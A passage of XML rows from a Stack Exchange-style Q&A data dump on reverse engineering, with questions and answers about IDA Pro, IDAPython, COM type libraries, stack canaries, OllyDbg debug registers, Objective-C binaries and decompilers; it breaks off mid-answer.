  <row Id="13279" PostTypeId="2" ParentId="13277" CreationDate="2016-08-13T20:36:02.463" Score="0" Body="&lt;p&gt;After setting the CLI language to IDC by clicking on the button to the left of the CLI, right click in the CLI input area and click the option marked &lt;code&gt;Default CLI&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/SHkhl.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SHkhl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/gwyzr.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gwyzr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="21297" LastEditDate="2017-08-20T18:21:56.957" LastActivityDate="2017-08-20T18:21:56.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13280" PostTypeId="2" ParentId="13248" CreationDate="2016-08-13T21:32:53.050" Score="2" Body="&lt;p&gt;Few things to note here:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The reason for the overly long output is because firmware-mod-kit automatically compiles itself the first time it is run by the user. Running it again now or manually compiling before execution should yield a relatively short output.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;firmware-mod-kit did not simply fail with &quot;No supported filesystem found&quot;. It failed with a python error that caused a premature termination of the tool.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The python error was &lt;code&gt;str() takes at most 1 argument (2 given)&lt;/code&gt;, which is an error widely known to come from trying to run python3 code with a python2 interpreter.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2016-09-12T08:37:11.750" LastActivityDate="2016-09-12T08:37:11.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13281" PostTypeId="1" CreationDate="2016-08-14T05:46:47.370" Score="1" ViewCount="987" Body="&lt;p&gt;I have recently installed Immunity Debugger in order to do some dynamic analysis on some Malware however am getting the same 2 errors no matter what i try.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The first error is that Immunity is &lt;strong&gt;'Unable to set a breakpoint'&lt;/strong&gt; this is set to the default WinMain function. &lt;/li&gt;&#xA;&lt;li&gt;The second is that Immunity is &lt;strong&gt;'Unable to write back modified registers'&lt;/strong&gt;. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I originally suspected that there may have been some Anti-Debug tactics involved however have come to realise that is not the case after implementing some plugins that circumvent that type of protection. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scratching my head here as i cant seem to find anyone with the same issue as me. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated!&lt;/p&gt;&#xA;" OwnerUserId="17089" LastActivityDate="2016-08-14T05:46:47.370" Title="Immunity Debugger Unable to set Breakpoint" Tags="|debugging|debuggers|anti-debugging|immunity-debugger|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13282" PostTypeId="1" CreationDate="2016-08-14T11:13:30.710" Score="5" ViewCount="4332" Body="&lt;p&gt;I have a dll file, containing some exported functions and COM methods.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my dll information opened by DLL Export Viewer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/doi1M.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/doi1M.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when i open the dll file in ida pro, i see just exported functions and none of COM methods are listed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/viZAj.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/viZAj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How I can view list of start address of the COM methods in ida pro?&lt;/p&gt;&#xA;" OwnerUserId="17088" LastActivityDate="2023-01-24T08:47:58.420" Title="IDA Pro list COM methods" Tags="|ida|dll|com|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13283" PostTypeId="2" ParentId="13282" CreationDate="2016-08-14T13:09:16.853" Score="4" Body="&lt;h2&gt;Original question&lt;/h2&gt;&#xA;&lt;p&gt;This is not as trivial as one would hope for quite a simple reason, COM objects are internal objects, and do not expose their implementation details by exporting functions.&lt;/p&gt;&#xA;&lt;p&gt;Instead, COM provides an interface to create COM instances of a specific class using a class UUID (commonly known &lt;code&gt;CLSID&lt;/code&gt;) as means to identify a COM class.&#xA;COM objects are created by calling &lt;code&gt;CoCreateInstance&lt;/code&gt; documented &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms686615(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The returned object is a C++ object implementing a set of APIs exposed as a virtual function table for that COM object, so there's no need to export those functions and that's you can't find them using IDA's exports view.&lt;/p&gt;&#xA;&lt;p&gt;Side note: Although COM related reversing questions are not at all too scarce, there are a lot fewer questions related to reversing COM classes. Most COM related questions involve attempts to reverse engineer software using COM, while it appears the OP is trying to reverse engineer a COM class. I guess this is somewhat because most COM classes are documented to some extent.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;DLL Export Viewer results&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;As documented &lt;a href=&quot;http://www.nirsoft.net/utils/dll_export_viewer.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;, DLL Export Viewer supports reading &lt;em&gt;COM Type Libraries&lt;/em&gt; from type library resources embedded inside the DLL. I'll describe COM Type Libraries in a few paragraphs and you'll see how you could get that data in IDAPython.&lt;/p&gt;&#xA;&lt;p&gt;From the original site:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Version 1.10&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Added support for 64-bit DLL files.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;New option: Display method and properties of COM type libraries.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;h2&gt;Actually reverse engineering a COM provider&lt;/h2&gt;&#xA;&lt;p&gt;Although your question was a bit misguided, there are still several resources that could help you RE COM object providers.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Documentation&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Some resouces are available for in-depth COM understanding (and therefore reversing) online, such as &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms690156(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;MSDN's basic COM development guide&lt;/a&gt;, &lt;a href=&quot;https://www.microsoft.com/msj/0399/comtype/comtype.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;Microsoft System Journal about come type libraries&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Oleview.exe&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;First, for basic understanding of COM objects and ability to browse COM objects defined on your machine you should try using &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/d0kh9f4c.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;Oleview&lt;/a&gt;, downloadable as part of &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/hardware/ff557573(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;windows Driver Kit&lt;/a&gt; or similar.&lt;/p&gt;&#xA;&lt;p&gt;OleView.exe lets you list installed COM objects, the interfaces they provide (which describe the actual methods implemented by that COM object), each COM object's class ID, etc. If you can find your COM object here, it'll greatly help you in later stages.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Class informer plugin&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Using the &lt;a href=&quot;https://sourceforge.net/projects/classinformer/&quot; rel=&quot;nofollow noreferrer&quot;&gt;class informer&lt;/a&gt; IDA plugin, you might be able to find RTTI information for your COM object. This will help you find and partially map your COM object's Virtual Function Table (which, again, describes available functionality of a COM object by actually pointing to the implementation methods). Using IDA's builtin COM Helper plugin might also be useful.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Manually parsing type library files (*.tlb) using python&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Although this is roughly what Oleview.exe (and the likes) are doing, you could manually parse any &lt;code&gt;*.tlb&lt;/code&gt; file you find (usually located near the COM DLL or embedded as a resource inside it) to get the information you're interested in (including offsets in the binary where functions are implemented).&#xA;A python module called &lt;code&gt;pythoncom&lt;/code&gt; exists for that, as part of the python for win32 extensions. Documentation is &lt;a href=&quot;http://timgolden.me.uk/pywin32-docs/pythoncom.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;, and the module can be downloaded &lt;a href=&quot;https://sourceforge.net/projects/pywin32/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2016-08-14T22:36:28.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13286" PostTypeId="1" AcceptedAnswerId="13287" CreationDate="2016-08-14T20:07:24.437" Score="4" ViewCount="8810" Body="&lt;p&gt;I have an IDAPython script x.py which takes some arguments, which prevents me from simply using &lt;kbd&gt;alt&lt;/kbd&gt; + &lt;kbd&gt;F7&lt;/kbd&gt; and selecting my script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I execute this script within IDA Pro and specify the arguments for the script?&lt;/p&gt;&#xA;" OwnerUserId="17094" LastEditorUserId="2147" LastEditDate="2016-09-12T08:40:53.420" LastActivityDate="2016-09-12T08:55:56.483" Title="Executing an IDAPython script with arguments within IDA Pro" Tags="|ida|idapython|ida-plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13287" PostTypeId="2" ParentId="13286" CreationDate="2016-08-14T22:04:19.663" Score="4" Body="&lt;p&gt;Naturally, the best way would be editing the script and have it ask the user for those parameters. IDA has quite a few ways of doing that. You could use one or several of the many &lt;code&gt;idc.Ask*&lt;/code&gt; functions. Such as: &lt;code&gt;AskYN&lt;/code&gt;, &lt;code&gt;AskLong&lt;/code&gt;, &lt;code&gt;AskSelector&lt;/code&gt;, &lt;code&gt;AskFunction&lt;/code&gt;, &lt;code&gt;AskFile&lt;/code&gt; and others. Sometimes when multiple input parameters are needd, it becomes inconvenient to ask for many speciif values, you could then create a full blown dialog instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could create a new process using &lt;code&gt;popen&lt;/code&gt; or something similar, but I can't say I recommend doing that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If depends on how the python script you're trying to execute is implemented, but you're probably better off trying to include/import it in one pythonic way or another.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Importing a protected module&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If the script is properly written, it probably wraps any execution functionality with an &lt;code&gt;if __name__ == &quot;__main__&quot;&lt;/code&gt; clause, protecting such cases as executing when imported. If that's the case, simply import it with an &lt;code&gt;import modulename&lt;/code&gt; and then call its main/whatever.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Importing a &lt;code&gt;sys.argv&lt;/code&gt; module&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If the module directly uses &lt;code&gt;sys.argv&lt;/code&gt; and you cannot/would not prevent it from doing so, you can mock your &lt;code&gt;sys.argv&lt;/code&gt; before importing the module. Simply doing something like the following should work:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;sys.argv = ['./script.py', 'command', 'parameter1', 'parameter2', 'optional']&#xA;import script&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Calling &lt;code&gt;execfile&lt;/code&gt; of the file&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If neither of those approaches works for you, you can always directly call &lt;code&gt;execfile&lt;/code&gt; and completely control the context in which the python script is executed. You should read the documentation of &lt;code&gt;execfile&lt;/code&gt; and &lt;code&gt;eval&lt;/code&gt; &lt;a href=&quot;https://docs.python.org/2/library/functions.html#execfile&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;https://docs.python.org/2/library/functions.html#eval&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, respectively.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2016-09-12T08:55:56.483" LastActivityDate="2016-09-12T08:55:56.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13290" PostTypeId="2" ParentId="13282" CreationDate="2016-08-15T12:24:02.527" Score="3" Body="&lt;p&gt;There is an &lt;a href=&quot;http://www.openrce.org/downloads/details/10/Com_Plugin_v1.2&quot; rel=&quot;nofollow noreferrer&quot;&gt;old plugin by Dieter Spaar&lt;/a&gt; which uses TypeLib API to enumerate COM methods and find their addresses. The code is somewhat old so might need some adjustments for the later IDA versions.&#xA;Note that it relies on presence of the typelib info so might not work for barebones (typelib-less) COM objects.&lt;/p&gt;&#xA;&lt;p&gt;It is based on &lt;a href=&quot;https://web.archive.org/web/20161023092604/http://www.microsoft.com/msj/0399/comtype/comtype.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;this article by Matt Pietrek&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;: one more thing. To figure out the addresses of the interface's methods, the plugin has to actually create the class implementing the interface (by calling &lt;code&gt;CoCreateInstance&lt;/code&gt;) which means that it will &lt;em&gt;execute code from the DLL/OCX&lt;/em&gt;. So you need to take care with files of uncertain origins.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="18132" LastEditDate="2023-01-24T08:47:58.420" LastActivityDate="2023-01-24T08:47:58.420" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="13291" PostTypeId="1" CreationDate="2016-08-15T17:19:11.337" Score="2" ViewCount="2783" Body="&lt;p&gt;I have code in C:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int a() {&#xA;&#xA;     char string[100];&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I compile this I get code in assembly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;a:&#xA;    push    rbp&#xA;    mov rbp, rsp&#xA;    sub rsp, 112&#xA;    mov rax, QWORD PTR fs:40  &amp;lt;----&#xA;    mov QWORD PTR [rbp-8], rax &amp;lt;----&#xA;    xor eax, eax&#xA;    nop&#xA;    mov rdx, QWORD PTR [rbp-8]&#xA;    xor rdx, QWORD PTR fs:40&#xA;    je  .L2&#xA;    call    __stack_chk_fail&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What make lines that I checked ? What is it &quot;fs:40&quot; ? (always when I make a array in c) and what is in rbp-12 ? nothing ?&lt;/p&gt;&#xA;" OwnerUserId="17101" LastEditorUserId="2147" LastEditDate="2016-09-05T22:43:30.307" LastActivityDate="2016-09-05T22:43:30.307" Title="what means this lines in assembly program (compile from c)?" Tags="|assembly|c|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13292" PostTypeId="2" ParentId="13291" CreationDate="2016-08-15T18:20:03.640" Score="2" Body="&lt;p&gt;I would start out by looking at this previous topic &lt;a href=&quot;https://stackoverflow.com/questions/4568848/good-reference-for-x86-assembly-instructions&quot;&gt;Good reference for Assembler&lt;/a&gt; here on stack overflow. From the sound of it you probably don't have much assembler experience and that's ok.  Assembler is just a way of getting the cpu to understand what you want it to do.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;before things can be explained you have to understand the convention of the use of the registers and what they all mean.  for example the base pointer of the stack is saved at entry of a function (push rbp)  so it can be restored when the function ends.  in your c code you have &#xA;int a()&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the start of the function defines a new stack frame with no parameters and a return result.  we'll be returning a variable and it by convention will be returned in the A register (usually RAX).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once RBP has been preserved the current stack pointer (RSP) is set to the base pointer RBP and things get manipulated from there.  Think of the stack as just a structure of memory that has been pre-allocated for special computational use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the instructions will bounce back and forth relative to the RBP to reference variables, (local, global, etc) as the function progresses and as needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on the OS and chip, FS might be referring to a thread local storage block, or it might be referring to a memory segment on the cpu.  Its dependent on your OS and architecture.  the :40 is an offset into the segment or block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;typically, and it depends on your OS, when you see something like rbp-8 or whatever it means to take the current value of RBP and subtract 8 from it.  however on some implementations and depending on where the scalar is placed it can mean take that many byte segments (words) as an offset from RBP and use that effective address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;that's all I have for now.  I'd start with the other topic and go from there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or just run it in a debugger and look at the values of the registers as it moves through each step.&lt;/p&gt;&#xA;" OwnerUserId="17024" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2016-08-15T18:20:03.640" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13293" PostTypeId="2" ParentId="12902" CreationDate="2016-08-16T06:27:18.220" Score="0" Body="&lt;p&gt;As you may realize, Objective-C methods don't appear in the symbol table (&lt;code&gt;LC_SYMTAB&lt;/code&gt;). However, you're right that information about all Objective-C classes and their methods are embedded in the object since the Objective-C runtime has to parse it and register it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find a section called &lt;code&gt;__DATA,__objc_classlist&lt;/code&gt; that contains a list of pointers to &lt;code&gt;struct objc_class&lt;/code&gt; (defined &lt;a href=&quot;http://opensource.apple.com/source/objc4/objc4-680/runtime/objc-runtime-new.h&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;), which contains a pointer to a &lt;code&gt;struct class_ro_t&lt;/code&gt; in its &lt;code&gt;bits&lt;/code&gt; member, which contains a member &lt;code&gt;baseMethodList&lt;/code&gt;, which contains a pointer to a &lt;code&gt;struct method_list_t&lt;/code&gt;, which contains a number of &lt;code&gt;struct method_t&lt;/code&gt; elements which each contain an &lt;code&gt;imp&lt;/code&gt; member which is the pointer to the IMP function. Those would be all the instance methods of the class. You can also follow the &lt;code&gt;isa&lt;/code&gt; field of the class to reach the metaclass of the class. The instance methods of the metaclass are the class methods of the class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One detail is that these pointers that are in the structures stored in the file on disk would not be the final pointers in memory. The dynamic linker dyld will go through the binary and link and rebase everything before the Objective-C runtime starts and parses the information I just described. For the data section, the linker typically will only do rebasing unless an external Objective-C class is used. It may be possible for you to get away with not doing the rebasing (in which case the pointers will just be the same as the case the binary has a slide of 0) if you're only interested in getting the pointers to Objective-C class method IMPs.&lt;/p&gt;&#xA;" OwnerUserId="14488" LastActivityDate="2016-08-16T06:27:18.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13294" PostTypeId="1" CreationDate="2016-08-16T14:36:29.250" Score="0" ViewCount="170" Body="&lt;p&gt;&lt;a href=&quot;https://www.father.io/&quot; rel=&quot;nofollow&quot;&gt;Father.io&lt;/a&gt; game has recently become a famous &lt;a href=&quot;https://en.wikipedia.org/wiki/Augmented_reality&quot; rel=&quot;nofollow&quot;&gt;AR&lt;/a&gt; &lt;a href=&quot;https://en.wikipedia.org/wiki/FPS&quot; rel=&quot;nofollow&quot;&gt;FPS&lt;/a&gt; game. I want to know the concept of this game electronics design and ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm planning with some friends of me to make a shooting game like Father.io &lt;a href=&quot;https://www.father.io/&quot; rel=&quot;nofollow&quot;&gt;[see this link for video of the game]&lt;/a&gt;, and we're very confused about the teknik/tools/sensors/methods they are using for detecting other players and shooting them when aiming on them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Image processing, thermal detection, calculating players position and orientation, we thought almost in everything but nothing seemed to be working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How possibly could they detect other players, and how could they recognize players from other people outside the game?&lt;/p&gt;&#xA;" OwnerUserId="17109" LastActivityDate="2016-08-17T11:26:40.280" Title="reverse engineering of electronics of father.io game" Tags="|hardware|" AnswerCount="1" CommentCount="0" ClosedDate="2016-08-29T18:15:39.717" ContentLicense="CC BY-SA 3.0" />
  <row Id="13295" PostTypeId="1" CreationDate="2016-08-16T19:43:25.043" Score="2" ViewCount="958" Body="&lt;p&gt;I am trying to extract an object file (.obj) from a Windows static (.lib) library so I can patch it in IDA, then rearchive it back into the library.  I am doing this because IDA won't allow me to patch a static library containing multiple object files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to use the ar that comes with mingw.  The file I am looking to extract has a full path (e.g. &quot;E:/some/path/to/filename.obj&quot; - the forward slashes are correct).  I can see this file as listed when I run &lt;code&gt;ar -t library.lib&lt;/code&gt;.  However, when I run &lt;code&gt;ar -x library.lib E:/some/path/to/filename.obj&lt;/code&gt; I get an error &quot;no entry E:/some/path/to/filename.obj in archive&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong please?   Or can I apply a patch to an object file within a static library using IDA directly?&lt;/p&gt;&#xA;" OwnerUserId="17113" LastActivityDate="2016-08-16T19:43:25.043" Title="How to patch object file in static library / how to extract object file that has full path within archive" Tags="|ida|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13296" PostTypeId="2" ParentId="8614" CreationDate="2016-08-17T08:33:05.437" Score="2" Body="&lt;p&gt;&lt;strong&gt;What are the debug registers&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The technical meaning of this warning is simply that Olly noticed the program you're debugging changed the CPU's debug registers. These registers are available to facilitate CPU-enabled debugging. The original use case is speeding up debugging efforts by using these CPU specific features.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some broad advantages for using the debug registers by debuggers in general and for anti-analysis executables in particular.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;More efficient/fast debugging experience.&lt;/li&gt;&#xA;&lt;li&gt;Faster debugged made timing-based anti-debugging harder by drastically shortening the time certain debugging tasks take to complete.&lt;/li&gt;&#xA;&lt;li&gt;Hardware assisted breakpoints and debugging features are harder to bypass or detect, and got less attention since most reversing related debuggers did not use them in the past.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;bullets 2 and 3 might seem the same, but although achieving a similar goal the cause is completely different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Difference between Ollydbg1 and 2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Olly v2 started using debug registers by default for it's own debugging efforts.&#xA;This wasn't too common for anti-analysis specific debuggers such as olly previously, which proved quite helpful at the begining and was a decent idea.&#xA;It's important to note olly1 exposed debug register usage, but it had less of a focus and wasn't the default behavior.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be turned off by un-checking this checkbox:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/7ETur.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7ETur.png&quot; alt=&quot;Ollydbg configuration&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2016-08-17T08:33:05.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13297" PostTypeId="2" ParentId="13294" CreationDate="2016-08-17T11:26:40.280" Score="1" Body="&lt;p&gt;There doesn't seem to be much hardware involved. The addon seems to be not much more than a couple of IR LEDs plus a few sensors, so I suspect most of the algorithms are in the software running on the phone. At a guess, some information is encoded into the IR emission patterns and the software decodes them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe I'm mistaken but it's pretty difficult to say more without at least a teardown and access to the software.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2016-08-17T11:26:40.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13298" PostTypeId="2" ParentId="12460" CreationDate="2016-08-17T13:12:33.307" Score="5" Body="&lt;p&gt;My recommendation is to use libVEX, as it's the most robust intermediate code library that I know of. It's part of Valgrind and supports a load of &lt;a href=&quot;http://valgrind.org/info/platforms.html&quot; rel=&quot;noreferrer&quot;&gt;architectures&lt;/a&gt;. You can either use libVEX in a C/C++ program or, alternatively, use the Python bindings called &lt;a href=&quot;https://github.com/angr/pyvex&quot; rel=&quot;noreferrer&quot;&gt;PyVex&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In any case: consider that most of the things you want to do must be implemented from scratch. Everything but translation of assembly &quot;dialects&quot; to an intermediate representation, I would say. Or, perhaps, you can use some parts of the &lt;a href=&quot;https://github.com/angr/angr&quot; rel=&quot;noreferrer&quot;&gt;Angr Project&lt;/a&gt;. I haven't tested it myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck!&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2016-08-17T13:12:33.307" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13299" PostTypeId="2" ParentId="2549" CreationDate="2016-08-17T23:56:38.693" Score="10" Body="&lt;p&gt;The two other answers here are outdated.&lt;/p&gt;&#xA;&lt;p&gt;From hex-rays website, in the &lt;a href=&quot;https://www.hex-rays.com/products/decompiler/&quot; rel=&quot;nofollow noreferrer&quot;&gt;page&lt;/a&gt; about the the hex-rays decompiler:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Currently the decompiler supports compiler generated code for the x86, x64, ARM32, ARM64, and PowerPC processors. We plan to port it to other platforms and add a programmatic API. This will allow our customers to implement their own analysis methods. Vulnerability search, software validation, coverage analysis are the directions that immediately come to mind.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;On 2014/06/04, with the release of IDA 6.6 hex-rays officially released their 64bit x86 decompiler, and it has been steadily improved since then. The official release can be seen on IDA 6.6 &lt;a href=&quot;https://www.hex-rays.com/products/ida/news/6_6/&quot; rel=&quot;nofollow noreferrer&quot;&gt;page&lt;/a&gt; as the first new feature as well as on their &lt;a href=&quot;https://www.hex-rays.com/products/decompiler/news/&quot; rel=&quot;nofollow noreferrer&quot;&gt;changelog&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;It is a separate product and sold apart from their x86 32bit decompiler, and is currently quoted at the same price as the other decompilers (see price quotes &lt;a href=&quot;https://web.archive.org/web/20130117164916/http://hex-rays.com/products/ida/support/orderforms/namedeu.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;page&lt;/a&gt; for named licenses).&lt;/p&gt;&#xA;&lt;p&gt;More than two years after the first release, the decompiler is fully featured and is considered high-grade.&lt;/p&gt;&#xA;&lt;p&gt;Two images of using IDA's 64 bit x86 disassembly and decompilation (from hex-ray's IDA 6.6 page):&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/k25Ko.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/k25Ko.gif&quot; alt=&quot;IDA 6.6 example disassembly&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&#xA;&lt;sub&gt;(source: &lt;a href=&quot;https://www.hex-rays.com/products/ida/6.6/hexx64_1.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;hex-rays.com&lt;/a&gt;)&lt;/sub&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/QP0hp.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QP0hp.gif&quot; alt=&quot;IDA 6.6 example decompilation&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h2&gt;Other solutions&lt;/h2&gt;&#xA;&lt;p&gt;There are, however, other solutions that provide an IDA plugin for decompilation. Although not precisely what you were looking for, those provide another possible way to achieve your desired goal:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://derevenets.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Snowman&lt;/a&gt;, A full-blown decompiler with an IDA plugin&lt;/li&gt;&#xA;&lt;li&gt;a plugin for AVG's &lt;a href=&quot;https://retdec.com/idaplugin/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Retargetable Decompiler&lt;/a&gt; &lt;em&gt;online&lt;/em&gt; decompiler (&lt;a 